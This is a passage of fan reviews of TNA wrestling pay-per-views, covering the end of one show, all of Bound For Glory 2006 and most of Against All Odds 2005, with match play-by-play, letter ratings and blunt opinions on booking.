We run down the card for Sacrifice.

Mr. Anderson vs. Bobby Roode

This is No DQ. They start on the floor with Roode in control but Anderson sends him into the post. The Regal Roll puts Bobby down and we take a break. Back with Roode pulling the referee in front of him as a shield and then hitting a low blow to take over. Out to the floor again and Roode knocks Anderson around. Roode gets a chair and slides it in where it gets wedged between the top and middle rope.

Since this is a wrestling match, Anderson sends Roode into it instead. Anderson makes the comeback and hits the high kick for two. Mic Check is broken up and Anderson charges into a boot. Roode counters another Regal Roll into a spinebuster for two. Here’s Hardy out of nowhere to beat up Roode but as he goes to get Anderson up he takes the Mic Check. There’s another Sacrifice match I guess. Roode hits Anderson with the chair and this the fisherman’s for the pin at 11:10, a lot of which was in a commercial.

Rating: C. Not bad here but it was more to set up Anderson vs. Hardy than to do anything about Van Dam vs. Roode. At least it broke ten minutes which helps a bit but the match was nothing great at all. Roode needs time to make his matches better and since he didn’t have that here, the match suffered.

Roode lays them both out with the chair until Van Dam comes in for the save. Roode leaves but comes back to beat down RVD, hitting a DDT onto the chair to end the show.

Overall Rating: D. This one missed for me. It wasn’t that the show was bad but much more that it was boring. I didn’t like the Silva stuff for the most part and that was pretty much the main focus of the show. There was less Hogan tonight which helped and while it wasn’t annoying like last week, I just kept wanting the show to move along. The really short matches other than the main event didn’t help things either. Not a horrible show but it didn’t work that well for me.

Results
Brooke Tessmacher/Velvet Sky b. Gail Kim/Madison Rayne – Eat Defeat to Kim
D-Von b. Robbie T via DQ when Robbie E interfered
Rob Van Dam b. Jeff hardy – Superkick
AJ Styles/Samoa Joe/Magnus b. Christopher Daniels/Kazarian/Kurt Angle – Styles Clash to Kazarian
Bobby Roode b. Mr. Anderson – Fisherman’s Suplex

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Bound For Glory 2006: Could Have Been A Masterpiece

Bound For Glory 2006
Date: October 22, 2006
Location: Compuware Sports Arena, Plymouth Township, Michigan
Attendance: 3,600
Commentators: Mike Tenay, Don West

This is the biggest show of the year for TNA and they’re not in Orlando for once. The main event here is Sting vs. Jarrett because that’s what they decided it should be, despite the fans screaming for Joe for months. Joe is in a pointless Monster’s Ball match instead of anything important. I watched this show and remember thinking there was a chance that Joe could run in somehow but it didn’t happen. Also tonight Angle is the guest referee is in the main event because who needs to have the biggest acquisition the company has ever had wrestling on the biggest show of the year? Let’s get to it.

The opening video is about Henry Ford and how Detroit rose up because of people like him. It’s about following your dreams or something. The voiceover guy talks about how this is all about overcoming obstacles and achieving your dreams or whatever. As usual it goes way too long.

The set looks more like the old weekly PPV sets.

Battle Royal

This is officially the Kevin Nash Open Invitational X-Division Gauntlet Battle Royal. In other words, it’s a sixteen man Royal Rumble for only X-Division guys. Nash comes out in a suit with a bowling trophy. The first entrant is the debuting Austin Starr to face #2 Sonjay Dutt. Every sixty seconds someone else comes in. As usual it’s a regular match once we get down to two. The fans are split so Nash talks about being a legendary high flier.

Maverick Matt is in at #3. His minute has absolutely nothing happening so here’s Lethal in at #4. He speeds things up a bit and gets a chant in his name. Lethal and Dutt are semi-regular partners so they take over the match. Austin knocks Lethal down and does his strut. Nash: “I like this Starr guy. I hope he does better than Glacier.” A-1, not a small guy for the most part, is #5.

Spinebuster takes Lethal down and A-1 is told he can’t wrestle. Everyone is still in and here’s Zach Gowen at #6. He’s the one legged guy from WWE in 2004. He spends thirty seconds getting to the ring and we get a Johnny Ace reference for some reason. Nash: “You two dudes are dynamic.” Kaz is #7 as we still haven’t had an elimination. Matt and Kaz, former tag partners, throw out Dutt.

Sirelda, a REALLY weird looking chick that is another attempt to recreate Chyna, is #8 and she beats up various men. Starr kicks her low and A-1 hits a BIG clothesline to put her out. Kaz and Matt knock him out immediately as Shark Boy is #9. The fans love Sharky and nothing happens until Shelley, getting the pop of the night so far, comes in at #10. He spits water in Kaz’s face and the fans cheer for him even more.

D-Ray 3000 is #11. He’s a blaxploitation character who hung out with Shark Boy. They team up for a Bushwackers battering ram and throw out Matt. By my math we’ve had eleven entrants and four eliminations so far. #12 is Johnny Devine and he throws out Gowen in seconds. Elix Skipper is #13 and he takes down Shelley and Lethal on his entrance with a double clothesline. Kaz tries a springboard move like an idiot and Starr puts him out.

Short Sleeve Sampson, as in one of Hulk Hogan’s Micro Championship Wrestling guys, is #14. D-Ray and Shark Boy go out at the same time. Starr holds up the midget time after time over the ropes but won’t toss him. #15 is SCREAMIN NORMAN SMILEY!!! Smiley and Samson hit stereo Big Wiggles before Shelley throws Samson onto Shark Boy. Samson chases Slick Johnson around the ring until Petey Williams is the final entrant at #16.

Johnson comes into the ring and shoves Smiley and Skipper out despite not being in the match. Ok so we have Shelley, Devine, Williams, Lethal and Starr. Williams throws out Johnston to get rid of that stupidity. Williams charges at Petey and gets sent to the apron, only to hit his slingshot Codebreaker. There’s the Canadian Destroyer but Shelley throws Williams out. Starr dumps Devine and Shelley to get us down to a one on one match with Starr vs. Lethal for the win.

Lethal hits a quick release Dragon Suplex for two. He goes up but Austin knocks him down and hits the brainbuster for the win. The one on one part lasted maybe a minute.

Rating: C. This was what it was. Having the one minute intervals was a good idea because most of these people aren’t important enough to warrant two minutes without anyone new being put in there. The match itself probably ran longer than it should have to open the biggest show of the year, but it was fast paced enough to work I guess.

Post match Shelley yells at Nash while Starr gets his trophy.

We get a clip of LAX beating down AMW and Gail Kim taking the Border Toss.

AMW yells about LAX but tonight they’re in a fourway match which has nothing to do with LAX. Sure why not.

The Naturals vs. Team 3D vs. James Gang vs. America’s Most Wanted

The Naturals are the #1 contenders and managed by Shane Douglas. Why they’re not challenging for the titles tonight is beyond me but whatever. The James Gang is the New Age Outlaws. All of the teams other than AMW has something to say but nothing really gets said if you get what I mean. Harris vs. Stevens starts us off with Stevens speeding things up quickly. Harris dropkicks him into the corner so Ray can tag himself in.

One fall to a finish here. Ray beats up both members of AMW but BG tags himself in, resulting in a mirror image of the Flip Flop and Fly elbow. D-Von and Kip come in and slam each other into the mat. I’m barely able to keep up with this match as they’re coming in and out at will. Storm and Douglas go to the corner and Storm falls into the Tree of Woe. Harris climbs up and Stevens comes in for a four man Tower of Doom to take them all down, even with Storm still caught in the Tree.

Catatonic to BG is countered and he hits the Pumphandle Slam for two. Eye of the Storm takes down Stevens but D-Von takes him down, only to walk into a standing tornado DDT from Douglas. We’re in the parade of finishers here. Stevens sets for a superplex on D-Von but Bubba comes in to hit a Doomsday Device. What’s Up to Douglas and they set for the tables but Stevens makes the save. Natural Disaster (elevated Stunner) takes out D-Von for two. Stevens runs into Douglas and walks into the 3D for the pin.

Rating: D. What a mess! The James Gang and AMW fell into a black hole for the last two minutes of that and there’s no way to keep track of most of what was going on here. This would have been much better as an elimination match, but for all intents and purposes that’s what happened at the end anyway. Bad match with WAY too much stuff going on. Also does this make 3D the #1 contenders? They beat the Naturals who already were, but I doubt that’s what’s going on.

Shane Douglas comes back again post match and yells at the Naturals.

JB is outside Joe’s locker room but finds Jake Roberts instead. Roberts is refereeing the Monster’s Ball match for some reason. He doesn’t say much but I think he’s drunk. No real indication for why, but I figured I’d play the odds.

We recap the Monster’s Ball match. Joe stole the world title belt (See? It was right there) and Abyss agreed to go get it in exchange for the first title shot. Abyss got the belt but Raven and Brother Runt (Spike Dudley) beat Abyss up before he could deliver it to Cornette. This is what the hottest guy arguably in wrestling at this point was doing for the biggest show of the year. Not being in the world title match, but fighting Spike Dudley. This company deserved to be stuck in mediocrity like it always was.

Samoa Joe vs. Brother Runt vs. Raven vs. Abyss

This is Monster’s Ball which basically means hardcore. Jake Roberts is guest referee. This is also the third match in a row that isn’t a simple one on one or tag match. Everyone jumps Joe to start and knock him to the floor. Raven and Runt team up on Abyss with Runt being knocked to the outside. Runt brings in a chair and Raven hits his drop toehold on Abyss into the chair but Joe comes back in to make people care. Joe hits the Facewash on Raven but walks into a chokeslam.

Abyss runs over the ECW guys and throws Runt into the crowd from the ring to emulate Bigelow’s famous spot. Raven clotheslines Abyss to the floor and dives on him, which Abyss shrugs off without even leaving his feet. Joe hits a BIG corkscrew dive onto all three to put them all down while landing on his feet. Raven pops up and hits Joe with a Silence of the Lambs style mask of his.

They go up the ramp and Joe is knocked through a table off the ramp. Runt and Abyss climb up part of the set and Runt is chokeslammed onto a platform which doesn’t have much give at all. Something happens which results in Abyss landing on Runt but the camera is zoomed in on Roberts. The replay shows that it was kind of an elbow drop. Nice production work there guys.

Raven throws Joe through another table in a vain attempt to make us believe he won’t win. Is there a point to Roberts being referee at all here? He hasn’t done anything. Abyss gets two on Runt but Raven saves. Abyss drops an Earthquake splash down for two on Raven. Joe comes in to break up Shock Treatment by pounding on Abyss. He misses the backsplash but kicks Abyss low instead.

Powerslam onto a chair gets two. Raven drop toeholds Joe to the floor but Abyss knocks him down and loads up the tacks. Jake pulls out his bag but Raven jumps him and loads up a DDT on Jake. Abyss pours out the tacks but Joe pulls down the ropes to prevent Raven from going into the tacks via the Black Hole Slam. Joe knocks Abyss to his knees and hits the senton backsplash to put Abyss’ face into the tacks. Raven breaks up the choke but Jake DDTs him so that the MuscleBuster can give Joe the pin.

Rating: D. I know this is a sweeping statement, but this might be the most questionable choice in TNA history. Why in the world was Joe in this match? Jake added NOTHING here. He counted slow and I guess he didn’t hurt anything, but what difference did it make to have a guest referee? The match was your usual garbage but no one bought anyone but Joe having a chance here. Also did Runt fall into the same hole the James Gang and AMW fell into in the previous match?

Jake puts the snake on Raven post match.

Eric Young is panicking over possibly losing in the loser gets fired match. His opponent, Larry freaking Zbyszko, comes up and says he’s already got Young beaten.

We recap Larry vs. Young. Larry was a boss in the company but got corrupt and cost Eric a match for his job. Cornette reinstated him in a loser gets fired match. This is your first one on one match of the night and we’re over an hour into the show. Let that sink in for a minute.

Larry Zbyszko vs. Eric Young

The fans are totally behind Eric here. They want Larry fired so he stalls as usual. Eric points at Larry and the fans boo, then he point at himself and the fans cheer. No contact about a minute and a half in. They lock up and Larry hits the spinning back kick and the abdominal stretch. Eric reverses and the referee takes a shot. Eric Young vs. Larry Zbyszko is getting a referee bump. Larry pulls out a foreign object but gets hit low. Eric gets the object and hits Larry for the pin.

Rating: F. If you don’t get why this is an F, you’re on your own.

Video on Senshi accompanied by Mortal Kombat, which is sponsoring the show.

Here’s Jim Cornette to fill in some time. He can barely talk (I don’t know how to handle this) due to being sick so he sounds like he has a stable of horses in his voice. Cornette says he should be in intensive care but there was no way he was missing this. If Joe interferes in the main event tonight, he’s removed from the roster. That draws out Angle who wants to fight someone right now.

Kurt says he doesn’t need a buffer between himself and Joe…and here’s the fat Samoan himself. They start brawling on the floor but security makes the save. WHY IS THIS MATCH NOT ON THIS SHOW??? They both break through security and Joe shouts at Cornette to let him fight tonight. This company seriously made my head hurt at times.

We recap Senshi vs. Sabin. There’s no real story here, other than Sabin is the challenger. If there’s another story to it, the recap doesn’t mention it. I think it’s a rematch.

X-Division Title: Senshi vs. Chris Sabin

Joe has been ejected from the arena. Every time this story gets stupider the harder my head shakes. They fight over a lockup to start and both guys hit various forms of kicks which results in Senshi taking over. A big kick gets two. They slug it out and Sabin fires off some forearms but walks into a double boot in the corner for two. Senshi hooks a body scissors on the mat to slow things down.

That doesn’t last long so Senshi slams him for two. They chop it out and Senshi comes back with the kicks. They go into the corner and Sabin pounds on his back but Senshi stops him cold with a standing Liger Kick. Senshi tries to get a running start but Sabin takes him down with a springboard missile dropkick. Sabin kicks him to the floor and hits a great suicide dive to the outside. Back in Sabin hits a running enziguri and puts Senshi in the Tree of Woe (popular position tonight) and hits the hesitation dropkick for two.

Sabin loads up Cradle Shock but Senshi counters into a dragon sleeper, but it’s quickly broken. Another Liger Kick misses and Sabin hits a springboard DDT for two. These near falls are getting really close. They go to the corner with Senshi trying a rolling sunset flip but instead of covering he jumps to his feet and hits a standing double stomp for two. A springboard back kick gets the same.

Senshi misses a charge in the corner and Sabin hits a HUGE running boot to the face which might have knocked out a tooth. Cradle Shock gets two with the referee messing up his count and stopping a half second before the kickout happened. They go to the corner again with Senshi looking to superplex him, but instead he walks backwards on the middle rope to fire off some HARD kicks. Warrior’s Way gets a delayed two as Sabin gets his foot on the ropes. There’s a modified dragon sleeper but Sabin won’t tap. Senshi pulls back to fire off elbows to the head, but he stops for a second and Sabin rolls him up for the pin and the title.

Rating: A-. Good stuff here again as the X Division was on fire at this point. The idea here was them hitting each other with everything they had and getting bigger and bigger and then Sabin using a basic hold to get the pin and it worked very well. Sabin played off the fact that Senshi was going to be very intense and therefore he’d miss something easy like that. That’s psychology at work and it’s a rare thing to see in a match like this, but it worked here.

Christian cuts off JB and rants about Rhyno talking about growing up on the streets of Detroit, but no one cares about him. Christian gave Rhyno a concussion but that’s nothing compared to what’s coming to him tonight. He won’t get invited to Rhyno’s house for dinner this year, but it doesn’t matter because his aunt’s food sucked.

We recap Christian vs. Rhyno. They’re old friends but Christian lost the world title and snapped over it. Christian gave him a Conchairto which gave him a concussion, then he hit him in the head again with another chair. Tonight is Rhyno’s chance to get even.

Christian Cage vs. Rhyno

This is an 8 Mile Street Fight which should be good. Rhyno comes through the crowd and goes straight through the entrance to meet Christian in the parking lot. Christian gets slammed onto a car and thrown into whatever Rhyno can find to throw him into. They climb onto a zamboni machine and Rhyno gets in the driver’s seat. He drives the machine with Christian on top into the arena. Rhyno climbs up to pound on Christian who falls off the machine.

Christian gets away down by the ramp and picks up a fake street lamp, only to get it ripped out of his hands and rammed into his chest. This is total domination so far. Rhyno throws in four chairs and hits Christian with a street lamp before Christian can get to one of the chairs. He loads up the Gore but Christian takes his head off with a chair shot. Rhyno shrugs that off and they go into the crowd with Christian running away even more.

After ramming Christian into some hockey glass they go back to the ring and Rhyno sets up a table at ringside. Back inside and Rhyno suplexes him down and puts up another table in the corner. Christian picks up an 8 Mile Road street sign and CRACKS Rhyno in the head with it. This is the first breather Christian has had. He goes to the floor and pulls out a ladder as Rhyno is busted open and might have another concussion. Christian charges with the ladder but Rhyno drop toeholds him into the ladder.

DDT gets two for Christian and they’re both spent. Rhyno is gone from the concussion and a ladder shot to the head makes it even worse. Christian goes under the ring again and comes up with a straightjacket and another chair. Rhyno gets tied up in the jacket and Christian grabs a pair of chairs to set up the Conchairto but Rhyno moves. Using just his legs and his head he tries a comeback and manages to get Christian down. The referee unhooks the jacket and they fight to the apron in front of the table.

Rhyno PILEDRIVES HIM THROUGH THE TABLE to put both guys down again. THAT gets two so Rhyno loads up the Gore, but Christian moves to send him through the table. It gets two, as does an Unprettier onto the metal part of the broken table. With no idea what else to do, Christian piles up everything on top of Rhyno and hits about eight chair shots onto the pile to crush Rhyno, which FINALLY gets the pin.

Rating: B+. I don’t say this that often, but that was AWESOME. I’m not a fan of the street fights, but this one was really intense with a feeling that someone had to do something big to get the win. The piledriver was awesome, as were the kickouts from Rhyno. Christian finally just pounding the tar out of Rhyno with everything he had until Rhyno couldn’t move an inch was a great finish. Loved this.

Konnan rants about raising the violence tonight and how they’re not sorry for what they did to Gail. They fight Styles/Daniels for the titles in a cage tonight.

We recap the tag title match and the idea is that Konnan says that putting a cage up doesn’t matter because they’re used to borders. Daniels got kidnapped in a way and beaten down three on one. The idea is that LAX is this rapidly growing powerful team that has to be stopped before they become unstoppable. They’ve traded the titles a few times as well so this is the final blowoff match.

Tag Titles: LAX vs. Christopher Daniels/AJ Styles

Styles and Daniels are the champions. The champs run in and the brawl is on. Unfortunately they have to tag in this which really takes away the violence aspect of it. I wouldn’t bet on it lasting long though. AJ and Homicide start with the dropkick spot putting the murder inspired one down. Off to Daniels as the champions hit a combination clothesline/belly to back suplex for two.

Styles comes back in for a backbreaker for two. AJ gets sent into the cage and it’s off to Hernandez. Styles moves around quickly and manages a tag but gets sent into the cage anyway. Homicide’s torndado DDT is countered but SuperMex takes his head off with a clothesline. The challengers look like they’re setting for a Doomsday Device but Hernandez drops him backwards and Homicide hits a top rope elbow for two. Nice change of pace. AJ is busted but we didn’t get a shot of him until now.

Konnan slides in an object to Homicide which goes into Daniels’ head. It appears to be a fork but Hebner doesn’t see it. Off to Hernandez to give Daniels a neck rub. Homicide gets a bottle of tequila from somewhere and spits some into Daniels’ face. They go up top and Daniels hits a sitout hiptoss for two to break the momentum. There’s the tag to AJ who hits the backflip into the reverse DDT for two. Everything breaks down as you would expect it to and Daniels clotheslines Homicide over and over.

The champions go high low on Homicide and are firmly in control. Hernandez has his face rammed into the cage and AJ hits the Pele on Homicide for two. Now Homicide gets the fork put in his head. AJ has no problem with the referee seeing that but Homicide hid it earlier. Hernandez starts going on another rampage but walks into a Pele to put everyone down.

AJ goes to the top of the cage (I think you can only win by pin/submission), drawing a please don’t die chant. The others catch him and try a Tower of Doom but AJ can’t get into position so he stays on top. That’s good as I was legit scared of him taking that bump from there. Instead he hits a HUGE cross body to Hernandez off the cage for two. Homicide hits a cutter on AJ but walks into an STO from Daniels.

Hernandez runs over Christopher and goes to the top of the cage also. He misses his splash and if he’s still alive I’ll be stunned. Daniels tries the Angel’s Wings on Hernandez but Homicide got a coat hanger from Konnan to choke him out. Konnan gets it back and chokes him from outside the ring. Hernandez breaks up the Clash and the Gringo Killa gives LAX the titles back.

Rating: A-. Another great match here with them finally saying screw this tagging stuff and letting it all hang out there, which is what you’re supposed to do in a big match. That dive by AJ was incredible but for some reason, probably fear, Hernandez’s didn’t get much of a reaction at all. Still though, great match but somehow it isn’t as good as the Ultimate X match they had the month before.

We recap Sting vs. Jarrett which is like a year long feud with a ton of twists and turns in it. In short: IT SHOULD HAVE BEEN JOE. Joe beat Jarrett the previous month but that was just about revenge or honor or something. There’s no need for this to be Jarrett vs. Sting and the only people that wanted it to be are likely named Jarrett. Oh and Angle is guest referee. Sting hasn’t even been on TV for two months to make sure the match has even less build for it. Oh and it’s title vs. career.

NWA World Title: Sting vs. Jeff Jarrett

Oh wait Angle is guest enforcer. Sting’s big transformation after missing for two months: he has red tights. Tenay thinks the bat is a tribute to the Detroit Tigers. Someone smack him for me. I’m already annoyed enough that Joe isn’t in there but now I have to listen to Tenay’s stupid theories? After big match intros we’re finally ready to go. Feeling out process to start for some reason, after they’ve fought each other about a thousand times.

Jeff controls to start for no apparent reason, arm dragging and hip tossing Sting around with ease. Sting starts to Hulk Up…and Jeff throws him around again. Now Jeff drops him with one punch. Jeff dropkicks him to the floor and OH MY GOODNESS ARE YOU THIS FREAKING STUPID??? Why in the world would you have THE MOST BORING WORLD CHAMPION IN YEARS dominate one of the most charismatic wrestlers in history like this?

Back in Jarrett spits on him and Sting FINALLY takes over on him like he should have from the opening bell. Powerbomb of all things puts Jeff down and a clothesline puts him on the floor. Jeff shoves Angle who shoves right back and Sting starts hammering Jarrett outside. Sting gets whipped into the barricade but Jeff gets his chair taken away by Angle. They fight up the ramp with Sting hitting a suplex to keep Jeff down. Angle takes the chair from Sting too and Jeff’s chair shot takes Kurt out.

DDT on the ramp puts Sting down and Jeff hooks a sleeper back inside. Sting fights out of that and they screw up some spot involving Sting getting behind Jeff. Cross body puts both guys down. Angle comes in and hits the Slam on the referee so that it’s not a double countout. They slug it out and the Splash sets up the Death Drop for two. Stroke hits for two. Jeff tries a tombstone which Sting reverses into a dangerous looking one of his own.

Sting goes up so that Jeff can hit him low, but he can’t hit a Stroke off the top. Sting’s splash off the top hits knees and there’s the Figure Four. Sting turns it over so Jeff lets it go and hooks an ankle lock to taunt Kurt. It gets reversed and Jeff is sent to the floor so Sting gets the bat. Angle tries to stop him and Jeff gets the guitar. Jeff breaks it over Sting’s head…and Sting yells at him. Scorpion quickly ends this.

Rating: C-. Not much here as it seemed like they didn’t know if they wanted to do an old school Sting match or an Attitude Era style brawl. Either one would have been ok but mixing them really didn’t work. At the end of the day, no one wanted to see Sting get the title again because we had seen it before and the fans were all behind Joe. Naturally since this is the NWA, they don’t care what the fans want and go with the old guys instead. The match wasn’t anything that good either.

Sting celebrates to end the show.

Overall Rating: B. As it is, this is a good show. With an ending the the fans wanted to see, it would be one of the best TNA shows ever. Sting’s title reign wound up meaning jack as he lost the title four weeks later to Abyss, a guy Joe beat in the Monster’s Ball earlier tonight. Joe wouldn’t the title for another 18 months because we needed to go through FOUR Angle reigns and a long Christian reign that no one wanted to see. This is also around the time that TNA’s hot streak started to die off. What a coincidence no? Anyway, very good show that could have been excellent if TNA would actually pay attention.

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Against All Odds 2005 – With TWO WWE Rejects Debuting In The Main Event!

Against All Odds 2005
Date: February 13, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 775
Commentators: Mike Tenay, Don West

We jump ahead a few months here as I did Final Resolution a long time ago. Tonight we have AJ vs. Daniels (See, I wasn’t kidding when I said they had been feuding for years) in an Iron Man match for the X Title. Also it’s Jarrett vs. Nash for the world title which I’m sure will be as good as the cage match two months ago right? Let’s get to it.

The opening video is about seizing the now or some philosophical jazz like that. It goes on for like three minutes though and my mind wanders.

If Jarrett uses the guitar in the main event he loses the title.

Shane Douglas goes looking for Jarrett and finds his dressing room. Larry Zbyszko walks out of it and there’s some legal battle between Dusty and someone else.

Scott Hudson is outside his locker room and says this is about the Kings of Wrestling. Seriously, that stable was around for like a month and two months later we’re still fighting over it? Hudson talks about Nash’s Longest Yard movie and there’s nothing here.

Petey Williams vs. Elix Skipper

Gymnastics routine to start with Skipper missing a spin kick but hitting a dropkick to send Williams to the outside. Williams takes over with nefarious means and sends Skipper to the floor. D’Amore hits Elix and hurts his own hand in the process. Williams hits his slingshot rana to the floor. There’s O Canada on the crotch and Petey hits his suplex sequence (vertical into a belly to back) for two.

Skipper uses a Matrix move to avoid a middle rope clothesline. Petey goes up but is supleed off the top and both guys are down. It was butterfly style if you’re curious. Skipper drapes him across the top and hits a top rope legdrop to the back of the head for two. Petey spins into his Russian legsweep for two. A rana is countered and Petey hits a tornado DDT. He loads up the Destroyer but Skipper backdrops out of it. Pinfall reversal sequence goes nowhere so Petey goes up. He tries to jump into the Destroyer but gets caught in Emerald Flosion for the pin.

Rating: D+. They were totally off in this and it wasn’t that great of a match. I don’t know if the chemistry was just off or what but it didn’t click at all here. I think Skipper works better as a heel than as a face and also a lot better when he doesn’t have to be the guy carrying the match. It wasn’t awful but it’s got nothing on the X matches from Turning Point.

Shazarian (yes that’s their name. Matt Bentley changed his name to Michael Shane in the last two months) watched a 3 Live Kru workout with a racecar driver named Jeff Hammond to set up this match.

Kazarian/Michael Shane vs. BG James/Jeff Hammond

Yeah, the old racer is wrestling here. He’d be about 49 or 50 here. BG makes some bad racing jokes before the match. Wait…according to what I can find, Hammond is a CREW CHIEF. He isn’t even a driver! Anyway, BG and Shane start us off. No wait Hammond wants to fight. Hammond grabs a wristlock and thankfully tags off to a wrestler. The non-X Division guys work over Shane and BG does most of the work.

BG takes Shane down and drops a knee on him for two. Kaz knocks him to the floor and hits a huge dive to take over. He hits a slingshot dropkick in the corner ala Hardy and Shazarian double teams BG. Neckbreaker gets two. Hammond comes in and can’t do anything BECAUSE HE ISN’T A WRESTLER. BG is knocked to the floor and Shane superkicks Kaz by mistake. Hammond drops an elbow for the pin. Screw this.

Rating: F. The match sucked, the guy isn’t even a driver, but his name is on TV so five people might know who he is. Twelve days later Kaz left TNA and signed a developmental deal with WWE. GEE, I WONDER WHY HE WOULD WANT TO DO THAT??? When the best thing you can say about a match is that it was short, that’s a bad sign.

Dusty, the Director of Authority, talks to Traci and Trinity about some lawsuit. A lawyer comes up with Larry Z and they say they have a paper Dusty can sign to get rid of the guitar means Jarrett loses the title. If Dusty doesn’t sign it, he’ll be evicted.

We recap Raven vs. Dustin Rhodes. Raven broke the fingers of some jobber he beat up until Dustin made the save. Raven went after him as a result. Dustin says Shucky Ducky Quack Quack in the video package.

Raven vs. Dustin Rhodes

It’s Cowboy Dustin here so he’s pretty boring. They slug it out like two old guys on a show in a promotion that isn’t being watched by many people while being there for a paycheck. Raven hits a discus clothesline and works on Dustin’s leg. Now it’s an ankle lock but Dustin comes up and fights back. He hits an atomic drop and punches in the corner but the bulldog is broken up. Dustin goes up but Raven superkicks him in the testicles.

Dustin punches him off the top and tries an elbow. At least he had one up as he did the jump into the boot spot. DDT is countered and Dustin uses a superkick (HUH?) for two. Raven grabs the ankle lock again but Dustin rolls through. It’s presumed Raven went outside but but we just see Dustin rolling around on the mat. Back to the ankle but Dustin grabs one of his own. Raven rolls through and cradles Dustin with a foot on the ropes for the pin.

Rating: F. Oh just……..NO. This was horrible in about 19 different kinds of ways. First and foremost, Dustin Rhodes used a superkick and an ankle lock. Think about that for a few minutes. Second, NO ONE cared in this at all. The match was awful and one of the worst I’ve seen in a very long time.

Raven beats him up even more post match and ties him in a straightjacket. For the love of bad rematches….please….no. Raven beats on him for awhile until Cassidy Riley, the guy that Raven hurt, makes the save. And that fails too as he gets DDTed. Security finally makes the save.

There go the lights and we get a voiceover talking about a lost soul. Oh it’s Trytan. He wound up being an alien or something like that. He had a ship. Trytan debuts on Impact this week.

We recap the tag title match. AMW is facing Kid Kash and Lance Hoyt. Kid Kash is here because he has to annoy me once a year.

Tag Titles: America’s Most Wanted vs. Kid Kash/Lance Hoyt

Storm and Kash start things off. They trade hammerlocks to start and fast twos and we get a standoff. Off to Hoyt and Harris who immediately start brawling. Everything breaks down and AMW picks up Kash and throws him at Hoyt. That doesn’t work so in a funny bit they pick up Hoyt and throw him at Kash to send him to the floor. Cute spot. Back in Hoyt slams Kash onto Storm for two.

Hoyt comes in and hits a huge chokebomb for two on Storm. James is playing Ricky Morton here if that wasn’t clear. Off to Kash who launches a frog splash but it eats knees. Both he and Storm try cross bodies and they’re down. Harris comes in and destroys Hoyt. It’s so strange to see Harris in great shape. Kash hits a sweet rana after running the corner. Storm is back up and hits the Eye of the Storm on Kash. He tries a reverse tornado DDT out of the corner on Hoyt but Lance counters.

In a move I’ve never seen before, Hoyt hits a side slam off the top for two. That looked awesome actually. That’s a great lesson: when all else fails, make the move from the top and it looks better. Storm takes Hoyt down and Harris hits a top rope elbow for two. Kash brings in a title belt but as the referee takes it out, Kash hits Harris with the other belt for two. Now Kash brings in handcuffs but Harris cuffs him up. Death Sentence to Hoyt keeps the titles on AMW.

Rating: C+. This started slow but got better at the end. When you take guys like Hoyt and Kash and get an entertaining match out of them, that’s a sign of a good team. Then again AMW is probably the best team ever in TNA, and yes I’m including them over Beer Money. This was better than I expected.

A limo gets here but security won’t let Shane see who’s in it.

We recap Hardy vs. Abyss. Uh….they fight a lot and use weapons all the time so let’s make it Full Metal Mayhem, meaning everything made of metal is legal.

Abyss vs. Jeff Hardy

Winner is #1 contender. This is a ladder match, but since it’s TNA, THAT’S NOT GOOD ENOUGH FOR THEM!!! There are two envelopes above the ring. One has nothing and one has the world title contract. My goodness, if you want to have a ladder match or a TLC match then have a TLC match. Do you really have to have something like this where one is fake? Is that REALLY needed?

Jeff slugs away to start and hits a dropkick. Hardy hits the legdrop between the legs and goes out to grab some chairs. Abyss goes to the floor so Hardy slides in and hits Poetry in Motion over the top. Hardy charges at Abyss and gets caught in a slam. Hardy escapes though and cracks Abyss in the head with a chair. Jeff gets a running start and uses a chair as a springboard. Abyss cracks him over the head with the chair to bring him out of the air. And people wonder why he’s a drug addict.

Abyss goes outside and grabs a table. He puts that one on top of the two outside so it’s like a pyramid. Jeff slides in a ladder while Abyss gets a fourth table. The match has just stopped dead to set this stuff up. Abyss didn’t hit Hardy between setting up the tables so I think Hardy just laid down and took a nap. Jeff gets up and slips going for Whisper in the Wind, regroups, and then misses Abyss.

They get into a tug of war over the ladder and Jeff dropkicks a chair into the “face”. Jeff sets up a teetertotter thing and slams it into Abyss’ “face”. Abyss backdrops Jeff over the top “through” a table. In other words Jeff’s feet went through it and his back hit the concrete clean. GEE, I WONDER WHY HE’S A DRUG ADDICT! Jeff pops up and they fight up the ramp and Abyss pulls out another table.

He puts it up at the stage but Hardy hits a Twist to slow Abyss down. Jeff climbs the set above the entrance and dives off with a Swanton. Back to the ring and Jeff pulls out the huge ladder. Jeff climbs up but grabs the wrong one. Abyss pulls Hardy down and throws him at the pile of tables. Not through them mind you, but at them. Hardy is up a few seconds later but Abyss wins the contract and the title shot.

Rating: D. See, this is why you have multiple people in your TLC matches. While two people are fighting, the third can set up tables and such. Here though there were LONG stretches where they were setting things up and then those things didn’t work for the most part. This didn’t work for the most part at all.

We recap Monty Brown/DDP vs. Team Canada. For some reason, Hall jumped Brown along with the Canadians until Page made the save. Hall is nowhere to be seen in the match.

Diamond Dallas Page/Monty Brown vs. Team Canada

Young and Roode here. Brown and Young start with the power game dominating. Roode makes the save to avoid the Pounce and the Canadians try a huddle. Brown pulls Young back in by one arm and it’s off to Page. Off to Roode who thinks the USA sucks. After some arm work it’s back to Brown as the dominance continues. Page hits a swinging neckbreaker for two.

Roode finally hits a clothesline to take over. Page fights out of the corner but can’t make the tag. He makes it about a minute later and Brown cleans house. This has been one sided so far for the most part. Young grabs a front facelock on Brown which doesn’t do much to him at all. Off to Page again with a lukewarm tag and house is cleaned again. Everything breaks down and the Pounce kills Roode. Diamond Cutter ends Young for the pin.

Rating: C. Pretty much a squash here but the fans were WAY into it so I can live with this. There’s something cool about seeing foreigners that are evil being beaten from one corner to another. Not a good match or anything but the crowd loved it and that’s what counts. This would be better suited at a TV show though.

Traci and Trinity tell the lawyer Dusty won’t sign.

We recap AJ vs. Daniels. Basically Daniels says he’s better than AJ even though AJ has the best resume ever in TNA. The result is an iron man match for AJ’s title.

X-Division Title: Christopher Daniels vs. AJ Styles

Thirty minute Iron Man match and Daniels is challenging. Daniels takes him to the mat in the opening minute and then they take the clock off. AJ dropkicks him to the floor and hits a rana over the top to take Daniels down. The match is just kind of going along for the opening parts, but that’s due to them pacing themselves for the half hour which makes perfect sense.

The clock comes back and we’re about six minutes in. AJ keeps up the arm work he’s been doing and Daniels heads to the floor. AJ hits a sliding dropkick and a big dive to take Daniels down. Daniels gets in some knees back in to take over. Ten minutes in now as you would think they’ll start speeding things up now.

